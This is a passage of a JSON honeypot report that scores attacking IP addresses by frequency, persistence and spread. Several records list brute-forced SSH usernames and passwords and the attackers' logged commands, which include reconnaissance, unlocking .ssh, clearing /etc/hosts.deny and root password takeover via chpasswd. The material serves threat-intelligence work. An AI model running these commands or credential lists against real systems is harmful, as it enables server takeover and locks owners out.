        "total_events_30d": 34,
        "days_active_30d": 17,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T16:12:19.081000+00:00",
        "last_seen_30d": "2026-03-24T23:01:51.122000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 8,
        "Cowrie": 3,
        "Dionaea": 2
      }
    },
    "91.231.89.233": {
      "attack_count": 3,
      "first_seen": "2026-03-07T04:16:42.267Z",
      "last_seen": "2026-03-07T04:16:42.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 29,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T02:57:00+00:00",
        "last_seen_30d": "2026-03-31T09:57:56.902000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 31,
        "Cowrie": 3
      }
    },
    "108.21.37.163": {
      "attack_count": 2,
      "first_seen": "2026-03-16T01:03:29.046Z",
      "last_seen": "2026-03-16T01:03:43.818Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Queens",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:03:29.046000+00:00",
        "last_seen_30d": "2026-03-16T01:04:50.960000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.86.180.144": {
      "attack_count": 2,
      "first_seen": "2026-03-25T12:59:14.541Z",
      "last_seen": "2026-03-25T12:59:28.133Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "W\u014fnju",
      "asn": 17598,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T12:59:14.541000+00:00",
        "last_seen_30d": "2026-03-25T13:00:29.102000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.203.65.195": {
      "attack_count": 2,
      "first_seen": "2026-03-28T05:18:51.718Z",
      "last_seen": "2026-03-28T05:19:04.896Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T05:18:51.718000+00:00",
        "last_seen_30d": "2026-03-28T05:20:13.238000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "142.129.146.184": {
      "attack_count": 2,
      "first_seen": "2026-03-13T22:14:11.652Z",
      "last_seen": "2026-03-13T22:14:24.873Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chatsworth",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T22:14:11.652000+00:00",
        "last_seen_30d": "2026-03-13T22:15:26.802000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.133.255": {
      "attack_count": 2,
      "first_seen": "2026-03-14T21:40:28.830Z",
      "last_seen": "2026-03-14T21:40:38.551Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 59.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 23,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T08:51:06+00:00",
        "last_seen_30d": "2026-03-26T05:34:00.038000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Honeytrap": 14,
        "Cowrie": 2
      }
    },
    "173.23.212.133": {
      "attack_count": 2,
      "first_seen": "2026-03-10T09:40:46.221Z",
      "last_seen": "2026-03-10T09:40:58.686Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Rosa Beach",
      "asn": 30036,
      "as_org": "Mediacom Communications Corp",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T09:40:46.221000+00:00",
        "last_seen_30d": "2026-03-10T09:42:03.806000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.85.3.99": {
      "attack_count": 2,
      "first_seen": "2026-03-21T18:47:22.725Z",
      "last_seen": "2026-03-21T18:47:52.932Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Patroc\u00ednio",
      "asn": 262595,
      "as_org": "OnNet Telecomunicacoes LTDA",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T18:47:22.725000+00:00",
        "last_seen_30d": "2026-03-21T18:49:00.508000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "221.154.117.121": {
      "attack_count": 2,
      "first_seen": "2026-03-09T20:12:53.580Z",
      "last_seen": "2026-03-09T20:13:06.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Incheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:12:53.580000+00:00",
        "last_seen_30d": "2026-03-09T20:14:15.549000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.122.171.64": {
      "attack_count": 2,
      "first_seen": "2026-03-17T08:03:42.722Z",
      "last_seen": "2026-03-17T08:04:22.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Val-Morin",
      "asn": 11290,
      "as_org": "Cogeco Connexion inc",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T08:03:42.722000+00:00",
        "last_seen_30d": "2026-03-17T08:05:26.241000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.128.79": {
      "attack_count": 2,
      "first_seen": "2026-03-22T02:55:54.106Z",
      "last_seen": "2026-03-22T02:56:07.125Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T02:55:54.106000+00:00",
        "last_seen_30d": "2026-03-22T02:57:09.331000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.127.76.93": {
      "attack_count": 2,
      "first_seen": "2026-03-20T15:35:16.975Z",
      "last_seen": "2026-03-20T15:35:48.019Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T15:35:16.975000+00:00",
        "last_seen_30d": "2026-03-20T15:36:50.006000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.183.103.113": {
      "attack_count": 2,
      "first_seen": "2026-03-17T08:09:33.619Z",
      "last_seen": "2026-03-17T08:09:47.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T08:09:33.619000+00:00",
        "last_seen_30d": "2026-03-17T08:10:56.755000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.217.140.47": {
      "attack_count": 2,
      "first_seen": "2026-03-14T05:36:59.931Z",
      "last_seen": "2026-03-14T05:37:00.200Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1053,
        "days_active_30d": 28,
        "ports_targeted_30d": 575,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T19:47:44.994000+00:00",
        "last_seen_30d": "2026-03-31T13:28:20.433000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 604,
        "Honeytrap": 446,
        "Cowrie": 2,
        "Ciscoasa": 1
      }
    },
    "91.231.89.224": {
      "attack_count": 2,
      "first_seen": "2026-03-21T13:53:35.171Z",
      "last_seen": "2026-03-21T13:53:38.174Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 88.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 237,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:02:01.979000+00:00",
        "last_seen_30d": "2026-03-31T20:04:41.574000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 187,
        "Honeytrap": 47,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "64.225.109.56": {
      "attack_count": 930,
      "first_seen": "2026-03-03T01:06:25.955Z",
      "last_seen": "2026-03-03T03:52:15.213Z",
      "sessions": 185,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "oracle",
        "mysql",
        "postgres",
        "ec2-user",
        "jenkins",
        "docker",
        "ubuntu",
        "centos",
        "debian",
        "fedora",
        "pi"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "admin",
        "root",
        "111111",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "123456a",
        "123456b",
        "123456c",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "21"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1332,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:06:25.955000+00:00",
        "last_seen_30d": "2026-03-03T03:53:19.947000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 930,
        "Suricata": 402
      }
    },
    "118.219.239.123": {
      "attack_count": 560,
      "first_seen": "2026-03-07T18:22:35.149Z",
      "last_seen": "2026-03-26T20:46:57.964Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "webmin",
        "amin",
        "builder",
        "michael",
        "mssql",
        "nikita",
        "plex",
        "soporte",
        "teste"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "202426",
        "786786",
        "A100s200",
        "Aa123",
        "Azure12345678",
        "Bismillah@123",
        "Bus365",
        "P@55w0rd@321",
        "User2024",
        "Web2026",
        "Wx123456",
        "administrator123!",
        "dlgwbn",
        "lijing",
        "mango"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\niTDM3tVyo87D\\niTDM3tVyo87D\\n\"|passwd",
        "echo \"administrator123!\\nQprNYD0NDlPV\\nQprNYD0NDlPV\\n\"|passwd",
        "echo \"root:0Xa5qSI1MRXQ\"|chpasswd|bash",
        "echo \"root:8dKKpVyHwpbC\"|chpasswd|bash",
        "echo \"root:HBtcXsLsf9pM\"|chpasswd|bash",
        "echo \"root:R5WzHx0U6d0Y\"|chpasswd|bash",
        "echo -e \"12345678\\niTDM3tVyo87D\\niTDM3tVyo87D\"|passwd|bash",
        "echo -e \"administrator123!\\nQprNYD0NDlPV\\nQprNYD0NDlPV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeonsu-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 669,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T18:22:35.149000+00:00",
        "last_seen_30d": "2026-03-26T20:48:06.483000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 560,
        "Suricata": 109
      }
    },
    "165.154.6.104": {
      "attack_count": 538,
      "first_seen": "2026-03-15T01:42:34.701Z",
      "last_seen": "2026-03-26T08:17:53.632Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "astra",
        "beehive",
        "jupyter",
        "llm",
        "michele",
        "node",
        "awsuser",
        "ay",
        "chris",
        "cockpit",
        "cristi",
        "developer",
        "devops",
        "frappeuser",
        "ll",
        "petr",
        "plex",
        "posiflex"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "Aa123456..",
        "Ay123",
        "Chris123",
        "astra123",
        "awsuser123",
        "cockpit",
        "developer1234",
        "jupyterpass",
        "llm",
        "michele",
        "node123!",
        "password!@#",
        "posiflex",
        "root1234!@#$",
        "sinusbot123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nAmGabIbdsoxq\\nAmGabIbdsoxq\\n\"|passwd",
        "echo \"astra123\\njef2PWyZuiiH\\njef2PWyZuiiH\\n\"|passwd",
        "echo \"jupyterpass\\nTGkt95TxrluE\\nTGkt95TxrluE\\n\"|passwd",
        "echo \"michele\\nHHx2Q8ZDkAda\\nHHx2Q8ZDkAda\\n\"|passwd",
        "echo \"node123!\\nYM5Y3BOMm27D\\nYM5Y3BOMm27D\\n\"|passwd",
        "echo \"root:PygwmNjO95HQ\"|chpasswd|bash",
        "echo -e \"123456\\nAmGabIbdsoxq\\nAmGabIbdsoxq\"|passwd|bash",
        "echo -e \"astra123\\njef2PWyZuiiH\\njef2PWyZuiiH\"|passwd|bash",
        "echo -e \"jupyterpass\\nTGkt95TxrluE\\nTGkt95TxrluE\"|passwd|bash",
        "echo -e \"michele\\nHHx2Q8ZDkAda\\nHHx2Q8ZDkAda\"|passwd|bash",
        "echo -e \"node123!\\nYM5Y3BOMm27D\\nYM5Y3BOMm27D\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 41.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T01:42:34.701000+00:00",
        "last_seen_30d": "2026-03-26T08:18:58.943000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 538,
        "Suricata": 85
      }
    },
    "45.66.228.255": {
      "attack_count": 537,
      "first_seen": "2026-03-12T21:15:08.173Z",
      "last_seen": "2026-03-30T16:43:13.876Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#EDCvfr4%TGB",
        "0987654321",
        "112233qqwwee",
        "1234554321",
        "123465h",
        "15975328",
        "1q2q3q4q5q",
        "1qazxcvbnm,./",
        "1qazzaq1",
        "ASDF1234",
        "Ab123456",
        "Ab123456!",
        "Darwin2026",
        "Hx123456@",
        "PASSword",
        "Passw0rd",
        "Qwerty1234",
        "Qwerty7890"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HmwJxmP9qTQf\"|chpasswd|bash",
        "echo \"root:IYsZFAri2yh6\"|chpasswd|bash",
        "echo \"root:dZmMxh3zxtmq\"|chpasswd|bash",
        "echo \"root:vBpxxPBAQg5i\"|chpasswd|bash",
        "echo \"root:wcmRKs4pdM1e\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 67.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.3,
        "persistence": 20.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 676,
        "days_active_30d": 25,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T20:40:17+00:00",
        "last_seen_30d": "2026-03-30T16:44:22.417000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 537,
        "Suricata": 136,
        "Honeytrap": 3
      }
    },
    "45.207.214.179": {
      "attack_count": 450,
      "first_seen": "2026-03-05T11:24:11.797Z",
      "last_seen": "2026-03-10T01:59:26.921Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "claude",
        "dp",
        "usuario1",
        "abc",
        "bai",
        "clawd",
        "dario",
        "friend",
        "paolo",
        "root",
        "scanner",
        "test",
        "ts3bot",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!P@ssw0rd",
        "123",
        "123456",
        "12345678",
        "123456AA!",
        "A1234567O",
        "A12345691",
        "Aa123456@",
        "Aa@147258369",
        "Aa@2024",
        "Abc123",
        "Bai123",
        "Dario123!",
        "Scanner123!",
        "Ts3bot123!",
        "a123456i",
        "aA@qwe123",
        "claude2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nBBWEkMdHNTQ7\\nBBWEkMdHNTQ7\\n\"|passwd",
        "echo \"123456AA!\\nxVQ42UlkJTcj\\nxVQ42UlkJTcj\\n\"|passwd",
        "echo \"a123456i\\nPVdA0394cyUV\\nPVdA0394cyUV\\n\"|passwd",
        "echo \"claude2025\\nMwWXcmwggzid\\nMwWXcmwggzid\\n\"|passwd",
        "echo \"usuario1123!\\nFa089EZgldNq\\nFa089EZgldNq\\n\"|passwd",
        "echo -e \"12345678\\nBBWEkMdHNTQ7\\nBBWEkMdHNTQ7\"|passwd|bash",
